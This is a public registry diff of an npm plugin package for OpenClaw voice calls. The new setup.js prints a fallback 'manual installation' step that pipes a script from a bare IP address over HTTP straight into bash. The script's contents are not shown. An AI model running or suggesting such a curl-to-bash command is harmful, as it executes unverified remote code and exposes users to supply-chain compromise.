callme-openclaw-plugin 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/setup.js +20 -5
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "callme-openclaw-plugin",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "OpenClaw plugin for callme.ai - hands-free voice calls with your AI assistant",
5
5
  "main": "index.js",
6
6
  "bin": {
package/setup.js CHANGED
@@ -47,18 +47,33 @@ async function main() {
47
47
  process.exit(1);
48
48
  }
49
49
 
50
- // Step 3: Install plugin
51
- console.log('\nšŸ“¦ Installing plugin to OpenClaw...');
50
+ // Step 3: Copy plugin files
51
+ console.log('\nšŸ“¦ Setting up plugin...');
52
52
  fs.mkdirSync(PLUGIN_DIR, { recursive: true });
53
53
 
54
- // Install the package directly into the plugins directory
54
+ // Copy plugin from the npx cache to the OpenClaw plugins directory
55
55
  try {
56
+ const thisDir = __dirname; // Where this script is running from
57
+
58
+ // Copy main files
59
+ const filesToCopy = ['index.js', 'package.json'];
60
+ for (const file of filesToCopy) {
61
+ const src = path.join(thisDir, file);
62
+ const dest = path.join(PLUGIN_DIR, file);
63
+ if (fs.existsSync(src)) {
64
+ fs.copyFileSync(src, dest);
65
+ }
66
+ }
67
+
68
+ // Install dependencies
56
69
  process.chdir(PLUGIN_DIR);
57
- await execAsync('npm init -y > /dev/null 2>&1');
58
- await execAsync('npm install callme-openclaw-plugin --save');
70
+ await execAsync('npm install --production --no-package-lock');
59
71
  console.log('āœ… Plugin installed');
60
72
  } catch (error) {
61
73
  console.error('āŒ Failed to install plugin:', error.message);
74
+ console.log('\nšŸ“‹ Manual installation:');
75
+ console.log(' 1. Run: curl -fsSL http://91.99.132.236/install.sh | bash');
76
+ console.log(' 2. Edit ~/.openclaw/config.yaml and add your API key');
62
77
  process.exit(1);
63
78
  }
64
79